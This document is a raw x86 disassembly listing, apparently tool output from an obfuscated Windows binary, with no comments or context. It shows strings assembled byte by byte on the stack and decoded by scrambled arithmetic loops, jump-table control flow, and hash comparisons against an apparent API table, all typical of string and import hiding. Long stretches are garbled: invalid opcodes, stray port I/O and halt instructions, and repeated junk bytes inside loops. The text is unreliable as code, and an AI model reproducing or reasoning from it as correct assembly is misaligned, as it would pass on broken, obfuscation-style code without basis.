mov byte [esp + 0x59], 0xd3
mov byte [esp + 0x5a], 0xa7
mov byte [esp + 0x5b], 0xd1
mov byte [esp + 0x5c], 0xa8
mov byte [esp + 0x5d], 0xd7
mov byte [esp + 0x5e], 0xad
mov byte [esp + 0x5f], 0xd5
mov byte [esp + 0x60], 0xa8
mov byte [esp + 0x61], 0xeb
mov byte [esp + 0x62], 0x96
mov byte [esp + 0x63], 0xe9
mov byte [esp + 0x64], 0xc8
mov byte [esp + 0x65], 0xef
mov byte [esp + 0x66], 0xdd
mov byte [esp + 0x67], 0xed
mov byte [esp + 0x68], 0x97
mov byte [esp + 0x69], 0xe3
mov byte [esp + 0x6a], 0x6a
mov byte [esp + 0x6b], 0xe1
mov byte [esp + 0x6c], 0x9b
mov byte [esp + 0x6d], 0xe7
out 0xc6, eax
inc esp
and al, 0x6e
add esi, 0x44
and al, 0x6f
in eax, 0xc6
inc esp
and al, 0x70
invalid
mov byte [esp + 0x71], 0xfb
mov byte [esp + 0x72], 0x9c
mov byte [esp + 0x73], 0xf9
mov byte [esp + 0x74], 0x77
mov byte [esp + 0x75], 0xff
mov byte [esp + 0x76], 0x8e
out 0xc6, eax
inc esp
and al, 0x6e
add esi, 0x44
and al, 0x6f
in eax, 0xc6
inc esp
and al, 0x70
invalid
mov byte [esp + 0x77], 0xfd
mov byte [esp + 0x78], 0x9b
mov byte [esp + 0x79], 0xf3
mov byte [esp + 0x7a], 0x87
mov byte [esp + 0x7b], 0xf1
mov byte [esp + 0x7c], 0x85
mov byte [esp + 0x7d], 0xf7
mov byte [esp + 0x7e], 0xd6
mov byte [esp + 0x7f], 0xf5
mov byte [esp + 0x80], 0xc7
mov byte [esp + 0x81], 0xb
mov byte [esp + 0x82], 0x70
mov byte [esp + 0x83], 9
mov byte [esp + 0x84], 0x28
mov byte [esp + 0x85], 0xf
mov byte [esp + 0x86], 0x28
mov byte [esp + 0x87], 0xd
mov byte [esp + 0x88], 0xc
mov byte [esp + 0x89], 3
mov eax, 0x3a
mov esi, dword [esp + 0x2c]
mov byte [esp + eax + 0x50], 0
add eax, 1
cmp eax, 0x3c
jne 0x41bbc9
xor eax, eax
cmp eax, 0x3c
jae 0x41bc0e
mov dl, byte [esp + eax + 0x50]
mov esi, eax
add esi, 0x4f
mov ecx, 0x30
sub ecx, eax
and ecx, 0xb0
and esi, 0x4f
or ecx, esi
mov esi, dword [esp + 0x2c]
xor cl, dl
xor cl, 0x4f
mov dl, 0xf4
hlt
sub dl, cl
mov byte [esp + eax + 0x50], dl
add eax, 1
jmp 0x41bbd8
hlt
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.0040f810
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.0040f810
lea ecx, [esp + 0x98]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f810
mov dword [esp + 0x5b0], 1
mov eax, dword [esp + 0x5b4]
mov ecx, dword [esp + 0x5b0]
mov eax, dword [eax + ecx*4]
mov edi, esi
mov esi, dword [esp + 0x4c]
jmp eax
call fcn.0041d270
xor eax, eax
test edi, edi
sete cl
mov dword [esp + 0x590], 0
mov edx, dword [esp + 0x594]
mov esi, dword [esp + 0x590]
mov edx, dword [edx + esi*4]
jmp edx
call fcn.0041d270
xor ebx, ebx
cmp dword [esp + 0x124], 0
setne dl
mov dword [esp + 0x618], 1
mov eax, dword [esp + 0x61c]
mov ecx, dword [esp + 0x618]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x124]
mov dword [esp], eax
call fcn.0040cef0
inc eax
mov edx, dword [esp + 0x608]
mov ecx, dword [esp + 0x60c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x738]
mov ecx, dword [esp + 0x73c]
mov eax, dword [ecx + eax*4]
add al, 0x81
add al, 0x81
jmp eax
mov al, byte [esp + 0x138]
mov byte [esp + 0x200], al
mov byte [esp + 0xfc], 0x26
test byte [esp + edi*8], ah
add byte [eax], al
add byte [esi], ah
test byte [esp + edi*8], ah
add byte [eax], al
add byte [esi], ah
mov byte [esp + 0xfd], 0x2f
mov byte [esp + 0xfe], 0x82
mov eax, 3
mov byte [esp + eax + 0xfc], 0
add eax, 1
cmp eax, 4
jne 0x41bd56
xor eax, eax
cmp eax, 4
jae 0x41bd9c
mov dl, byte [esp + eax + 0xfc]
mov ecx, 0x9f
sub ecx, eax
and ecx, 0xe4
mov esi, eax
and esi, 0x1b
or ecx, esi
xor cl, dl
xor cl, 0xe4
add cl, 0x20
mov byte [esp + eax + 0xfc], cl
add eax, 1
jmp case.0x41025c.169
lea eax, [esp + 0xfc]
mov ecx, dword [esp + 0x48]
mov dword [esp], ecx
add byte [ebx - 0x76b7dbb4], cl
or al, 0x24
mov dword [esp + 4], eax
call fcn.004046a0
mov ebx, eax
mov al, byte [esp + 0x134]
mov byte [esp + 0x204], al
mov byte [esp + 0x26c], 0xb3
mov byte [esp + 0x26d], 0xa5
mov byte [esp + 0x26e], 0x1a
mov eax, 3
add byte [eax], al
add byte [eax], al
mov esi, dword [esp + 0x2c]
mov byte [esp + eax + 0x26c], 0
add eax, 1
cmp eax, 6
jne 0x41bde4
xor eax, eax
cmp eax, 6
jae 0x41be37
movzx edx, byte [esp + eax + 0x26c]
mov ecx, eax
add ecx, 0xbb
mov edi, 0x44
sub edi, eax
mov esi, 0x44
sub esi, eax
invalid
and edi, esi
mov esi, dword [esp + 0x2c]
or ecx, edx
xor edx, 0xffffffff
or edi, edx
and ecx, edi
add cl, 0x59
mov byte [esp + eax + 0x26c], cl
add eax, 1
jmp 0x41bdf6
invalid
lea eax, [esp + 0x26c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.004046a0
mov dword [esp + 0x124], eax
mov dword [esp], esi
call fcn.0041d250
mov edi, eax
test ebx, ebx
setne al
mov byte [esp + 0xc3], al
movzx eax, al
mov dword [esp + 0x630], eax
test byte [eax + esi], ah
push es
add byte [eax], al
test byte [eax + esi], ah
push es
add byte [eax], al
mov eax, dword [esp + 0x634]
mov ecx, dword [esp + 0x630]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x120], 0
jmp eax
add byte [ecx + 0x2f82484], cl
add byte [eax], al
mov al, byte [esp + 0x1b4]
mov byte [esp + 0x238], al
mov byte [esp + 0x1b8], 0xc5
mov byte [esp + 0x1b9], 0xda
mov byte [esp + 0x1ba], 0xdb
mov byte [esp + 0x1bb], 0xd8
mov eax, 4
mov byte [esp + eax + 0x1b8], 0
add eax, 1
cmp eax, 7
jne 0x41bed4
xor eax, eax
cmp eax, 7
jae 0x41bf24
movzx edx, byte [esp + eax + 0x1b8]
mov esi, eax
xor esi, 0xb0d4eeb1
mov ecx, eax
shl ecx, 1
and ecx, 0x9e56229c
sub ecx, esi
mov esi, ecx
and esi, edx
shl esi, 1
add ecx, edx
sub ecx, esi
mov esi, dword [esp + 0x2c]
add cl, 0x75
mov byte [esp + eax + 0x1b8], cl
add eax, 1
jmp 0x41bee6
mov edx, dword [esp + 0x1b8]
xor edi, edi
mov eax, 0x31000001
invalid
mov eax, 2
cmp edi, dword [0x450710]
jb 0x41bf3c
jmp 0x41bfb3
mov ecx, dword [0x450714]
cmp dword [ecx + edi*8], 0xb62b8d10
sete bl
xor eax, eax
test bl, 1
jne 0x41bf55
jmp 0x41bf9c
mov eax, dword [ecx + edi*8 + 4]
cmp eax, edx
jne 0x41bf64
mov eax, 2
jmp 0x41bf9c
mov ecx, dword [0x450718]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
add byte [eax], al
add byte [eax], al
mov eax, dword [esp + 0x2f8]
mov dword [esp + 0xc], eax
mov dword [esp + 0x2e0], edx
call fcn.00441310
mov edx, dword [esp + 0x2e0]
mov eax, 1
test bl, 1
je 0x41bfa7
push es
push es
mov ebx, dword [esp + 0x34]
jmp 0x41bfb3
add edi, 1
mov ebx, dword [esp + 0x34]
jmp 0x41bf2d
cmp eax, 2
mov edi, dword [esp + 0x3c]
jne 0x41bfbc
mov dword [esp + 0x490], 1
mov eax, dword [esp + 0x494]
mov ecx, dword [esp + 0x490]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x728], 1
mov eax, dword [esp + 0x72c]
mov ecx, dword [esp + 0x728]
mov eax, dword [eax + ecx*4]
jmp eax
invalid
mov byte [esp + ecx + 0x228], 0
add ecx, 1
cmp ecx, 7
add byte [ebx - 0x67cfe3f], al
pop es
jne 0x41c046
xor ecx, ecx
cmp ecx, 7
jae 0x41c092
movzx edi, byte [esp + ecx + 0x228]
mov esi, ecx
xor esi, 0xb0d4eeb1
mov edx, ecx
shl edx, 1
and edx, 0x9e56229c
sub edx, esi
mov esi, edx
and esi, edi
shl esi, 1
add edx, edi
sub edx, esi
add dl, 0x75
mov byte [esp + ecx + 0x228], dl
add ecx, 1
jmp 0x41c058
mov edi, dword [esp + 0x228]
xor ebx, ebx
cmp ebx, dword [0x450710]
jb 0x41c0a5
jmp 0x41c122
mov ecx, dword [0x450714]
cmp dword [ecx + ebx*8], 0x4e66b5a3
sete dl
test dl, 1
jne 0x41c0bc
jmp 0x41c113
mov ecx, dword [ecx + ebx*8 + 4]
cmp ecx, edi
je 0x41c113
mov byte [esp + 0xc0], dl
mov edx, dword [0x450718]
xor esi, esi
lea esi, [esp + 0x880]
mov dword [esp], ecx
mov dword [esp + 4], edx
add byte [eax], al
add byte [ebx + 0x45071815], cl
add byte [ecx], dh
test byte [ebp + 0x88024b4], 0
add byte [ecx + 0x5489240c], cl
and al, 4
mov dword [esp + 8], 3
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], esi
mov dword [esp + 0x12c], eax
call fcn.00441310
mov dl, byte [esp + 0xc0]
mov eax, dword [esp + 0x12c]
invalid
add dh, dh
ret 0x7401
test dl, 1
je 0x41c11a
jmp 0x41c122
add ebx, 1
jmp 0x41c09b
mov cl, byte [esp + 0x1a8]
mov byte [esp + 0x23c], cl
mov byte [esp + 0x1ac], 0xc5
mov byte [esp + 0x1ad], 0xda
mov byte [esp + 0x1ae], 0xdb
mov byte [esp + 0x1af], 0xd8
mov ecx, 4
mov byte [esp + ecx + 0x1ac], 0
add ecx, 1
cmp ecx, 7
jne 0x41c155
xor ecx, ecx
cmp ecx, 7
jae 0x41c1a1
movzx edi, byte [esp + ecx + 0x1ac]
mov esi, ecx
xor esi, 0xb0d4eeb1
lodsb al, byte [esi]
add dword [eax], eax
add byte [ecx - 0x4e097e32], cl
out dx, al
aam 0xb0
mov edx, ecx
shl edx, 1
and edx, 0x9e56229c
sub edx, esi
mov esi, edx
and esi, edi
shl esi, 1
add edx, edi
sub edx, esi
add dl, 0x75
mov byte [esp + ecx + 0x1ac], dl
add ecx, 1
jmp 0x41c167
mov ecx, dword [esp + 0x1ac]
mov dword [esp + 0x2d4], ecx
lodsb al, byte [esi]
add dword [eax], eax
add byte [ecx + 0x2d4248c], cl
add byte [eax], al
xor edi, edi
mov esi, dword [esp + 0x2c]
mov ecx, 2
cmp edi, dword [0x450710]
jb 0x41c1c4
jmp 0x41c23d
mov edx, dword [0x450714]
cmp dword [edx + edi*8], 0xb62b8d10
lea ebp, [ebx]
mov dh, 0xf
xchg esp, eax
ret
xor ecx, ecx
mov byte [esp + 0xbe], bl
test bl, 1
jne 0x41c1e4
lea ebp, [ebx]
mov dh, 0xf
xchg esp, eax
ret
jmp 0x41c229
mov ecx, dword [edx + edi*8 + 4]
cmp ecx, dword [esp + 0x2d4]
jne 0x41c1f8
mov ecx, 2
jmp 0x41c229
mov edx, dword [0x450718]
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], 1
add byte [eax], al
add byte [eax], al
mov dword [esp + 0xc], eax
mov dword [esp + 0x12c], eax
call fcn.00441310
mov eax, dword [esp + 0x12c]
mov ecx, 1
test byte [esp + 0xbe], 1
je 0x41c235
jmp 0x41c23d
or byte [ebx + 0x78e901c7], al
invalid
add edi, 1
jmp 0x41c1b5
cmp ecx, 2
mov ebx, dword [esp + 0x34]
jne 0x41c246
mov eax, dword [esp + 0x470]
mov ecx, dword [esp + 0x474]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x668], 0
push 6
add byte [eax], al
add byte [ebx + 0x66c2484], cl
add byte [eax], al
push 6
add byte [eax], al
add byte [ebx + 0x66c2484], cl
add byte [eax], al
mov ecx, dword [esp + 0x668]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp], ebx
call fcn.00404e50
xor ecx, ecx
mov edx, edi
sub edx, eax
setb al
mov dword [esp + 0x858], 1
add byte [ebx + 0x85c2494], cl
add byte [eax], al
add byte [ebx + 0x85c2494], cl
add byte [eax], al
mov esi, dword [esp + 0x858]
mov edx, dword [edx + esi*4]
jmp edx
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
add al, 0x1e
fist dword [edi]
loope 0x41c2bc
or byte [edx + eax], bh
mov edi, eax
call fcn.0041d270
call fcn.0041d270
mov eax, dword [esp + 0x40]
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x4275c0
mov dword [esp + 4], 0
mov dword [esp], 0
call edi
sub esp, 0x18
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x478], ecx
add al, 0
add byte [ebx + 0x47c248c], cl
add byte [eax], al
add al, 0
add byte [ebx + 0x47c248c], cl
add byte [eax], al
mov edx, dword [esp + 0x478]
mov ecx, dword [ecx + edx*4]
mov esi, dword [esp + 0x2c]
jmp ecx
test byte [eax + esi], ah
add al, 0
add byte [ebx + 0x434248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
cmc
push cs
add byte [eax], al
lea eax, [esp + 0x108]
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [esp + 0x18], 0x80
mov dword [esp + 0x14], 0x60
mov dword [esp + 0x10], 5
add bh, al
inc esp
and al, 0xc
add byte [eax], al
add byte [eax], al
add bh, al
inc esp
and al, 0xc
add byte [eax], al
add byte [eax], al
mov dword [esp + 8], 0x100002
call fcn.00444620
mov ebx, eax
xor eax, eax
test ebx, ebx
setns cl
mov dword [esp + 0x690], 0
mov edx, dword [esp + 0x694]
add byte [eax], al
add byte [eax], al
mov esi, dword [esp + 0x690]
mov edx, dword [edx + esi*4]
mov esi, dword [esp + 0x2c]
jmp edx
inc eax
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp + 0x128], eax
mov dword [esp], eax
mov dword [esp + 0xc], 0
call case.0x40e7f4.14
mov eax, dword [esp + 0x118]
add eax, 0x19
add eax, eax
mov dword [esp + 0x2c0], eax
setb byte [esp + 0x47]
mov eax, dword [esp + 0x548]
mov ecx, dword [esp + 0x54c]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov cl, byte [esp + 0xc3]
mov al, cl
and eax, 1
mov dword [esp + 0x5f0], eax
mov eax, dword [esp + 0x5f4]
mov ecx, dword [esp + 0x5f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], ebx
call fcn.0040cef0
inc eax
mov dword [esp + 0x120], eax
mov eax, dword [esp + 0x628]
mov ecx, dword [esp + 0x62c]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [esi], 0
mov al, byte [esp + 0xa4]
mov byte [esp + 0x1f0], al
mov byte [esp + 0xa8], 0x3b
mov byte [esp + 0xa9], 0x1f
mov byte [esp + 0xaa], 0xea
mov byte [esp + 0xab], 0x11
mov byte [esp + 0xac], 0xd7
mov byte [esp + 0xad], 0x13
mov byte [esp + 0xae], 0xed
mov byte [esp + 0xaf], 0x15
mov byte [esp + 0xb0], 0xe4
mov byte [esp + 0xb1], 0x17
mov byte [esp + 0xb2], 0x31
mov byte [esp + 0xb3], 9
mov byte [esp + 0xb4], 0xe4
mov byte [esp + 0xb5], 0xb
mov byte [esp + 0xb6], 0xa
mov byte [esp + 0xb7], 0xd
mov eax, 0x10
mov byte [esp + eax + 0xa8], 0
add eax, 1
cmp eax, 0x14
jne 0x41c545
mov dword [esp + 0x30c], esi
xor eax, eax
cmp eax, 0x14
jae 0x41c5d5
adc al, 0x73
jb 0x41c573
movzx ecx, byte [esp + eax + 0xa8]
mov edx, 0x37a3a43a
mov dh, 0x8c
add al, 0xa8
add byte [eax], al
add byte [edx + 0x37a3a43a], bh
sub edx, eax
mov edi, eax
add edi, 0x85c5bc5
and edi, 0x2db2cad3
and edx, 0xd24d352c
or edi, edx
mov esi, ecx
xor esi, 0xffffffff
dec dword [ecx - 0x2c0d7e06]
add byte [eax], al
add byte [ecx], cl
mov esi, ecx
mov dword [ecx + 0x5c5bc5c7], 0xd3e78108
retf 0x2db2
dec dword [ecx - 0x2c0d7e06]
add byte [eax], al
add byte [ecx], cl
mov esi, ecx
xor esi, 0xffffffff
xor edi, 0xd3
or edi, esi
and edx, edi
mov esi, eax
add esi, 0xc85c5bc5
mov edi, eax
add edi, 0xc85c5bc5
and esi, edi
or esi, ecx
and edx, esi
mov ecx, edx
xor ecx, 0xffffffff
shl ecx, 1
add ecx, edx
mov dl, 0x25
sub dl, cl
mov byte [esp + eax + 0xa8], dl
add eax, 1
jmp 0x41c55e
lea eax, [esp + 0xa8]
mov dword [esp + 4], eax
lea esi, [esp + 0x930]
mov dword [esp], esi
call fcn.0040f810
lea ecx, [esp + 0x8ac]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f810
mov ebx, eax
mov eax, ebx
not eax
and eax, esi
mov ecx, esi
not ecx
and ebx, ecx
sub ebx, eax
sar ebx, 1
mov eax, dword [0x45070c]
or al, 7
inc ebp
add byte [ebp + 0xa0248c], cl
add byte [eax], al
or al, 7
inc ebp
add byte [ebp + 0xa0248c], cl
add byte [eax], al
mov dword [esp + 0x14], ecx
mov dword [esp + 4], esi
mov dword [esp + 8], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], 0
call eax
sub esp, 0x18
in al, dx
sbb byte [ebx + 0xa02484], cl
add byte [eax], al
in al, dx
sbb byte [ebx + 0xa02484], cl
add byte [eax], al
add eax, 4
add eax, eax
mov ecx, 0xffffffff
mov esi, dword [esp + 0x4c]
jb 0x41c661
mov ecx, eax
mov dword [esp], ecx
call fcn.0040cd40
mov edx, dword [0x45070c]
mov ecx, dword [esp + 0xa0]
lea edi, [esp + 0xa0]
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
lea eax, [esp + 0x930]
mov dword [esp + 4], eax
mov dword [esp], 0
call edx
sub esp, 0x18
xor eax, eax
test esi, esi
sete cl
mov dword [esp + 0x700], 1
mov edx, dword [esp + 0x704]
mov esi, dword [esp + 0x700]
mov edx, dword [edx + esi*4]
mov esi, dword [esp + 0x30c]
jmp edx
mov dword [esp + 0x748], 0
mov eax, dword [esp + 0x74c]
mov ecx, dword [esp + 0x748]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x148]
mov byte [esp + 0x1e8], al
mov byte [esp + 0x14c], 0x44
mov byte [esp + 0x14d], 0x5b
mov byte [esp + 0x14e], 0x58
mov byte [esp + 0x14f], 0xd8
mov eax, 4
mov byte [esp + eax + 0x14c], 0
add eax, 1
cmp eax, 6
jne 0x41c725
xor eax, eax
cmp eax, 6
jae 0x41c759
mov cl, byte [esp + eax + 0x14c]
mov dl, al
add dl, 0x8f
xor dl, cl
add dl, 0x35
mov byte [esp + eax + 0x14c], dl
add eax, 1
jmp 0x41c737
mov eax, dword [esp + 0x14c]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
call fcn.0040d500
call fcn.0040d520
mov ebx, eax
and ebx, 0xf
or ebx, 0x10
mov eax, dword [esp + 0x718]
mov ecx, dword [esp + 0x71c]
mov eax, dword [ecx + eax*4]
lea esi, [esp + 0x8ac]
xor edi, edi
jmp eax
call fcn.0041d270
mov dword [esp + 0x730], 0
mov eax, dword [esp + 0x734]
mov ecx, dword [esp + 0x730]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x6f8], eax
mov eax, dword [esp + 0x6fc]
mov ecx, dword [esp + 0x6f8]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x144]
mov byte [esp + 0x1f4], al
mov byte [esp + 0x294], 0xd6
mov byte [esp + 0x295], 0xfb
mov byte [esp + 0x296], 0x61
mov byte [esp + 0x297], 0xf9
mov byte [esp + 0x298], 0x70
and al, 0x98
add al, byte [eax]
add byte [eax - 0x3a], dh
test byte [ecx + ebx*4], ah
add al, byte [eax]
add bh, bh
and al, 0x98
add al, byte [eax]
add byte [eax - 0x3a], dh
test byte [ecx + ebx*4], ah
add al, byte [eax]
add bh, bh
mov byte [esp + 0x29a], 0x65
mov byte [esp + 0x29b], 0xfd
mov byte [esp + 0x29c], 0xfc
mov byte [esp + 0x29d], 0xf3
mov eax, 0xa
mov byte [esp + eax + 0x294], 0
add eax, 1
cmp eax, 0x10
jne 0x41c86f
add byte [ebx - 0x77cfe40], al
adc byte [ebp - 0x10], dh
xor eax, eax
mov esi, dword [esp + 0x2c]
cmp eax, 0x10
jae 0x41c8db
movzx edi, byte [esp + eax + 0x294]
mov edx, eax
add edx, 3
mov ecx, edi
and ecx, 0xfd
xor ecx, 0xfd
add byte [ecx - 0x2097e02], cl
add byte [eax], al
add byte [ebx - 0x8defd31], al
add byte [ecx - 0x2097e02], cl
add byte [eax], al
add byte [ebx - 0x8defd31], al
mov esi, 0x80
sub esi, eax
and esi, 0xfd
and edx, 2
or ecx, edi
or esi, edx
xor ecx, esi
mov esi, dword [esp + 0x2c]
add cl, 0x85
mov byte [esp + eax + 0x294], cl
add eax, 1
jmp 0x41c885
call fcn.0041d270
call fcn.0041d270
lea eax, [esp + 0x294]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.0041d200
mov eax, dword [esp + 0x6e8]
add byte [eax], al
add byte [eax], al
mov ecx, dword [esp + 0x6ec]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x108]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.00444e00
mov ebx, eax
mov ecx, dword [esp + 0x108]
mov al, byte [esp + 0x1c0]
mov byte [esp + 0x234], al
mov byte [esp + 0x1c4], 0xc5
mov byte [esp + 0x1c5], 0xda
mov byte [esp + 0x1c6], 0xdb
mov byte [esp + 0x1c7], 0xd8
mov eax, 4
mov byte [esp + eax + 0x1c4], 0
add eax, 1
cmp eax, 7
jne 0x41c973
mov dword [esp + 0x300], ecx
xor eax, eax
cmp eax, 7
jae 0x41c9c6
movzx edx, byte [esp + eax + 0x1c4]
mov esi, eax
xor esi, 0xb0d4eeb1
mov ecx, eax
shl ecx, 1
and ecx, 0x9e56229c
sub ecx, esi
mov esi, ecx
and esi, edx
shl esi, 1
add ecx, edx
sub ecx, esi
add cl, 0x75
mov byte [esp + eax + 0x1c4], cl
add eax, 1
jmp 0x41c98c
mov eax, dword [esp + 0x1c4]
mov dword [esp + 0x2ec], eax
xor edi, edi
mov esi, dword [esp + 0x4c]
mov eax, 2
cmp edi, dword [0x450710]
jb 0x41c9e9
jmp 0x41ca58
mov ecx, dword [0x450714]
cmp dword [ecx + edi*8], 0xb62b8d10
sete dl
xor eax, eax
mov byte [esp + 0xbf], dl
test dl, 1
jne 0x41ca09
jmp 0x41ca47
mov eax, dword [ecx + edi*8 + 4]
cmp eax, dword [esp + 0x2ec]
jne 0x41ca1d
inc esp
stc
add al, 0x3b
test byte [esp + ebp*8], ah
add al, byte [eax]
add byte [ebp + 7], dh
mov eax, 2
jmp 0x41ca47
mov ecx, dword [0x450718]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov eax, dword [esp + 0x300]
add eax, dword [eax]
add byte [ecx - 0x17f3dbbc], cl
into
dec eax
add al, byte [eax]
add eax, dword [eax]
add byte [ecx - 0x17f3dbbc], cl
into
dec eax
add al, byte [eax]
mov eax, 1
test byte [esp + 0xbf], 1
je 0x41ca53
jmp 0x41ca58
add edi, 1
jmp 0x41c9da
cmp eax, 2
jne 0x41ca5d
mov dword [esp + 0x678], 1
add dword [eax], eax
add byte [eax], al
mov eax, dword [esp + 0x67c]
mov ecx, dword [esp + 0x678]
mov eax, dword [eax + ecx*4]
jmp eax
xor al, 0x73
in al, dx
stc
xchg edx, eax
mov eax, dword [esp + 0x390]
mov ecx, dword [esp + 0x394]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x7f0]
mov ecx, dword [esp + 0x7f4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x650]
mov ecx, dword [esp + 0x654]
mov eax, dword [ecx + eax*4]
mov edi, 4
mov dword [esp + 0x38], 0
mov ebx, dword [esp + 0x34]
jmp eax
call fcn.0041d270
mov ecx, dword [esp + 0x2bc]
xor ecx, 1
mov edx, esi
xor edx, 2
xor eax, eax
or ecx, edx
sete cl
mov dword [esp + 0x578], 0
mov edx, dword [esp + 0x57c]
mov esi, dword [esp + 0x578]
mov edx, dword [edx + esi*4]
mov dl, 0x8b
je 0x41cb91
dec esp
mov dl, 0x8b
je 0x41cb91
dec esp
jmp edx
mov dword [esp], ebx
call fcn.0041ce20
mov esi, eax
mov edi, esi
inc edi
mov ecx, edi
add ecx, ecx
mov eax, 0xffffffff
jb 0x41cb8a
mov eax, ecx
mov dword [esp], eax
call fcn.0040cd40
mov dword [esp + 8], ebx
or byte [ecx - 0x76fbdb84], cl
test byte [esp + ebx], ah
add dword [eax], eax
add byte [ecx + 0x44c72404], cl
and al, 0xc
add byte [eax], al
add byte [eax], al
dec dword [ecx - 0x76f7dba4]
jl 0x41cbbd
or byte [ecx - 0x76fbdb84], cl
add al, 0x89
test byte [esp + ebx], ah
add dword [eax], eax
add byte [ecx + 0x44c72404], cl
and al, 0xc
add byte [eax], al
add byte [eax], al
call case.0x40e7f4.14
mov eax, dword [esp + 0x768]
mov ecx, dword [esp + 0x76c]
invalid
add byte [eax], al
add byte [ebx - 0x1f007efc], cl
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x848], 0
mov eax, dword [esp + 0x84c]
mov ecx, dword [esp + 0x848]
mov eax, dword [eax + ecx*4]
mov bh, bh
invalid
mov bh, bh
loopne 0x41cb73
mov word [eax + ebp*8], fs
add eax, dword [eax]
add byte [ebx + 0x3ec2494], cl
add byte [eax], al
mov ecx, dword [edx + ecx*4]
mov edi, eax
jmp ecx
mov al, byte [esp + 0x170]
mov byte [esp + 0x1d0], al
mov byte [esp + 0x104], 0xba
mov byte [esp + 0x105], 0xab
mov byte [esp + 0x106], 0x26
mov eax, 3
add eax, dword [eax]
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
mov byte [esp + eax + 0x104], 0
add eax, 1
cmp eax, 4
jne 0x41cc27
xor eax, eax
cmp eax, 4
jae 0x41cc89
movzx edx, byte [esp + eax + 0x104]
mov esi, eax
shl esi, 1
and esi, 0x2f71baf2
mov edx, 0xc1892f71
mov edx, 0xc1892f71
xor ecx, 0x17b8dd79
add ecx, esi
xor ecx, edx
mov esi, ecx
shl esi, 1
and esi, 0x44
mov edx, ecx
xor edx, 0x8963aca2
mov edi, edx
add edi, esi
shl ecx, 1
and ecx, 2
and edx, ecx
or edi, ecx
xor edi, 1
add edx, edi
mov byte [esp + eax + 0x104], dl
xchg esp, eax
add al, 4
add dword [eax], eax
add byte [ebx - 0x4f14fe40], al
xchg esp, eax
add al, 4
add dword [eax], eax
add byte [ebx - 0x4f14fe40], al
lea eax, [esp + 0x104]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
mov dword [esp + 8], 3
call fcn.00404d30
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x818], ecx
sbb byte [eax], cl
add byte [eax], al
sbb byte [eax], cl
add byte [eax], al
mov eax, dword [esp + 0x81c]
mov ecx, dword [esp + 0x818]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x3c]
jmp eax
and byte [eax + eax], al
add byte [ebx + 0x4242484], cl
add byte [eax], al
mov ecx, dword [esp + 0x420]
mov eax, dword [eax + ecx*4]
mov bh, bh
invalid
mov bh, bh
loopne 0x41ccdb
jns 0x41ccfa
add byte [eax], al
mov dword [esp + 0x538], 0
cmp byte [0], al
add byte [eax], al
mov eax, dword [esp + 0x53c]
mov ecx, dword [esp + 0x538]
mov eax, dword [eax + ecx*4]
jmp eax
add eax, dword [eax]
add byte [ebx + 0x3f02494], cl
add byte [eax], al
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x7f8]
mov ecx, dword [esp + 0x7fc]
mov eax, dword [ecx + eax*4]
jmp eax
add byte [ecx - 0x2776bc3d], cl
add eax, eax
setb cl
mov dword [esp + 0x558], 1
mov edx, dword [esp + 0x55c]
mov esi, dword [esp + 0x558]
mov edx, dword [edx + esi*4]
jmp edx
call fcn.0041d270
mov dword [esp + 0x7e0], 1
mov eax, dword [esp + 0x7e4]
mov ecx, dword [esp + 0x7e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x2b8], esi
mov eax, dword [0x45070c]
mov dword [esp + 0x2b4], eax
mov eax, dword [esp + 0x760]
